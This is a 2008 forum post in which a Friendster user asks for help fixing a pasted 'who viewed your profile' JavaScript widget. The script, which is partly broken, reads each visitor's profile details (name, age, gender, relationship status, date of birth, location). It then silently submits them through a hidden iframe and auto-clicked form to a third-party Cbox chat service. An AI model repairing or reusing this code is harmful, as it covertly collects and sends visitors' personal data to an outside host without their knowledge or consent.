heinz i cant apply WVM code.. please help me..
see me the problem..
i cant make WVM for my FS.. i Apply this script but not work
this is my script:
<!--------------------------------------------------------------------------------------------------------->
<!------ WHO VIEWED UR PROFILE--
http://www5.cbox.ws/box/?boxid=167129&boxtag=al0941&sec=main ------>
<!------ REPLACE THE LINK ABOVE WITH YOUR OWN FROM YOUR OWN CBOX ACCOUNT ---------------------------------->
<!------ THE LINK CAN BE SEEN BELOW THIS COMMENT THEN REPLACED boxid AND boxtag --------------------------->
<!------ WITH YOUR OWN.------------------------------------------------------------------------------------>
<div align="center"><a href="http://www.amazingcounter.com">
<img border="0" src="http://ms.amazingcounters.com/2141684/6425365.png" alt="internet stats">
<iframe frameborder="0" width="210" height="250" src="http://www5.cbox.ws/box/?boxid=167129&boxtag=al0941&sec=main" marginheight="2" marginwidth="2" scrolling="auto" allowtransparency="yes" name="cboxmainche" style="border:#DBE2ED 1px solid;" id="cboxmainche">
</iframe></br>
<div id="wvcboxel" style="display:none "></div>
</center>
<script language="javascript">
boxid=167129;
boxtag="al0941";
wvcbox="yes";
wvcboxmodule="pst";
"cboxdiv": ["www5","167129","al0941"]
if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();};
if (typeof WVMCBOX == "undefined") { WVMCBOX = {}; }
WVMCBOX = {
div: null, date: Date(), $ifsty: null,
base: {
"cboxdiv": ["": ["www5","167129","al0941"]
},
iframestyle: {
width: "100%",
height: "495",
scrolling: "auto",
allowtransparency: "yes"
},
details: {
lastname: null,
age: null,
status: null,
gender: null,
month: null,
year: null,
birth: null,
location: null,
shoutout: null
},
regexp: {
lastname: /lastname>([\S\s]+?)<\/lastname>/i,
age: /age>([\d]+?)<\/age>/i,
status: /age><status>([\d]+?)<\/status>/i,
gender: /photocaption><gender>([m]|[f])<\/gender>/i,
month: /membersinceMonth>([\w]+?)<\/membersinceMonth>/i,
year: /membersinceYear>([\d]+?)<\/membersinceYear>/i,
birth: /dob>([\d]+?-[\d]+?-[\d]+?)<\/dob>/i,
location: /blog_id><location>([\S\s]+?)<\/location>/i,
shoutout: /uid><shoutout_text>([\S\s]+?)<\/shoutout_text>/i
},
init: function() {
WVMCBOX.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,WVMCBOX.viewer,null);
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === null) {
alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");return;
}else if (htm) {
for (val in WVMCBOX.details) {
try {
WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
}catch(e) {
WVMCBOX.details[val] = "";
}
}
if (WVMCBOX.details.gender == "m") {
WVMCBOX.details.gender = "Male";
}else if (WVMCBOX.details.gender == "f") {
WVMCBOX.details.gender = "Female";
}
if (WVMCBOX.details.status == "2") {
WVMCBOX.details.status = "Single";
}
if (WVMCBOX.details.status == "3") {
WVMCBOX.details.status = "In a Relationship";
}
if (WVMCBOX.details.status == "6") {
WVMCBOX.details.status = "Domestic Partner";
}
if (WVMCBOX.details.status == "4") {
WVMCBOX.details.status = "Married";
}
if (WVMCBOX.details.status == "8") {
WVMCBOX.details.status = "It's complicated";
}
if (WVMCBOX.details.shoutout == "") {
WVMCBOX.details.shoutout = "no shoutout";
}
for (var s in WVMCBOX.iframestyle) {
WVMCBOX.$ifsty += s+"="+WVMCBOX.iframestyle[s]+" ";
}
for (var seeboks in WVMCBOX.base) {
WVMCBOX.div ="<iframe frameborder='0' "+WVMCBOX.$ifsty+" src='http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=main' marginheight='2' marginwidth='2' scrolling='auto' allowtransparency='yes' name='cboxform' id='cboxform'>"+ "</iframe>"+
"<div align='center' style='text-align:center;'>"+
"<form name='sibok' target='cboxform' action='http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=submit' method='post' onsubmit='checkform()'><input type='hidden' name='nme' value='"+pageViewerFName.replace(/"/g, "").replace(/'/g, "")+"'><input type='hidden' name='eml' value='http://profiles.friendster.com/"+pageViewerID+"'><br><input type='text' name='pst' size='9' maxlength='200' style='width:130px; height:22px; border:1px solid; border-color:#999; padding-right:2px;' value='Type here' onfocus=\"frmfocus(this, 'Type here')\" onblur=\"frmblur(this, 'Type here')\"><input type='submit' class='mybutton' value='Send' name='submit'></form>"+
"<input type='button' class='mybutton' value='Kiss me' onClick=\"Smiley(''+pageViewerFName+' Kiss me ');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\">"+
"<input type='button' class='mybutton' value='Aplause' onClick=\"Smiley(''+pageViewerFName+' Aplause :aplause:');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\">"+
"<input type='button' class='mybutton' value='Hug me' onClick=\"Smiley(''+pageViewerFName+' Hug me
');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\"><br>"+
"<input type='button' class='mybutton' value='Love' onClick=\"Smiley(''+pageViewerFName+' LOVE
');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\">"+
"<input type='button' class='mybutton' value='Hi' onClick=\"Smiley(''+pageViewerFName+' Hi :salam: ');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\">"+
"<input type='button' class='mybutton' value='Punch' onClick=\"Smiley(''+pageViewerFName+' Punch :punch: ');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\"><br>"+
"<input type='button' class='mybutton' value='Sing' onClick=\"Smiley(''+pageViewerFName+' Sing :sing:');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\">"+
"<input type='button' class='mybutton' value='Ledek' onClick=\"Smiley(''+pageViewerFName+' Ledek :ledek: ');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\">"+
"<input type='button' class='mybutton' value='Cudle' onClick=\"Smiley(''+pageViewerFName+' Cudle :cudle: ');setTimeout('document.cform.submit.click()');setTimeout('document.cform.refresh.click()',1000);\"><br><br>Send actions only supported by Firefox.</div>";addNewBox.init(pageOwnerFName+"'s Visitorlog","<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>","wvmcbox",/friends/i,"below");
if((pageViewerID != pageOwnerID) && (pageViewerID != "")) { var getnavBg = document.getElementById("navBg"); getnavBg.innerHTML +="<div style=\"display:none !important\">"+"<iframe frameborder=\"0\" width=\"0\" height=\"0\" name=\"cbox_submit\" id=\"cbox_submit\"></iframe>"+
"<form name=\"cform\" id=\"cform\" target=\"cbox_submit\" action=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=submit\" method=\"post\">"+
"<input type=\"text\" name=\"nme\" value=\""+pageViewerFName+"\">"+
"<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/"+pageViewerID+"\">"+
"<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"500\" cols=\"22\" rows=\"3\" name=\"pst\">"+WVMCBOX.details.lastname+", "+WVMCBOX.details.age+", "+WVMCBOX.details.gender+", "+WVMCBOX.details.status+""+
"[br]Member Since: "+WVMCBOX.details.month+" "+WVMCBOX.details.year+
"[br]D.O.B: "+WVMCBOX.details.birth+
"[br]Location: "+WVMCBOX.details.location+
"[br][br]"+WVMCBOX.details.shoutout+"[br]</textarea>"+
"<input type='submit' name='submit' value='submit'>"+ "<input type='button' name='refresh' value='Refresh' onClick='window.cboxform.location.href=document.getElementById(\"cboxform\").src'>"
"</form>"+
"</div>";document.getElementById("cform").submit.click();}
}
}
},
ajaxRequest: function(url,func,handler) {
var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange = function() {
if (httprequest.readyState == 4) {
if (httprequest.status == 200) {
func(httprequest.responseText,handler);
}
}
};
httprequest.open("GET", url, true);
httprequest.send(null);
}
};
if (typeof addNewBox == "undefined") { addNewBox = {}; }
addNewBox = {
init: function(head,code,id,sibling,x) {
var sbdiv = document.createElement("div");
sbdiv.className="commonbox "+id;
sbdiv.id = id;
if (!head) head = "";
else head = "<h2>"+head+"</h2>";
sbdiv.innerHTML = head;
sbdiv.appendChild(document.createElement("div"));
sbdiv.getElementsByTagName("div")[0].id = "content_"+id;
sbdiv.getElementsByTagName("div")[0].innerHTML = code;
var sbli = document.createElement("LI");
sbli.appendChild(sbdiv);
if (!x) this.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli);
else if (x == "below") this.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli);
else if (x == "above") {
var ul = this.getModuleByClassName(sibling)[0];
ul.parentNode.parentNode.insertBefore(sbli,ul.parentNode);
}
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
};
</script>
<div id="wvcboxel" style="display:none "></DIV></CENTER>
</TD></TR>
</TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE height=55 width=595 border=0>
<TBODY>
<TR>
<TD vAlign=top width=589
background="http://i184.photobucket.com/albums/x201/aswang011/footer.jpg" height=55>
<DIV id=footer align=center><SPAN class=footer><BR><A class=footer
href="http://www.friendster.com/info/index.php?statpos=footer"
target=_top>About Us</A> | <A class=footer
href="http://www.friendster.com/info/contacts.php?statpos=footer"
target=_top>Contact Us</A> | <A class=footer
href="http://www.friendster.com/affiliate.php?statpos=footer"
target=_top>Promote My Profile</A> | <A class=footer
href="http://www.friendster.com/custhelp.php?statpos=footer"
target=_top>Help</A> | <A class=footer
href="http://www.friendster.com/info/tos.php?statpos=footer"
target=_top>Terms of Service</A> | <A class=footer
href="http://www.friendster.com/info/privacy.php?statpos=footer"
target=_top>Privacy Policy</A> <BR>Copyright 2002-2007 Friendster, Inc.
All rights reserved. U.S. Patent No. 7,069,308, EdItInG by: <A
class=footer
href="www.friendster.com/razormaiden"
target=_top>MaRkEd</A>
</SPAN><!--php55--></DIV></TD></TR></TBODY></TABLE></CENTER>
<SCRIPT language=javascript>
unlocker="yes";
</SCRIPT>
<DIV id=unlockerbox style="DISPLAY: none"></DIV>
<SCRIPT language=javascript>
featF="yes";
</SCRIPT>
<DIV id=featFid></DIV>
<SCRIPT language=javascript>
starget="yes";
stargetvisit=5;
</SCRIPT>
<DIV id=stargetid style="DISPLAY: none"></DIV>
PLEASE tell me ...
Last edited by razormaiden (2008-02-09 11:03:35)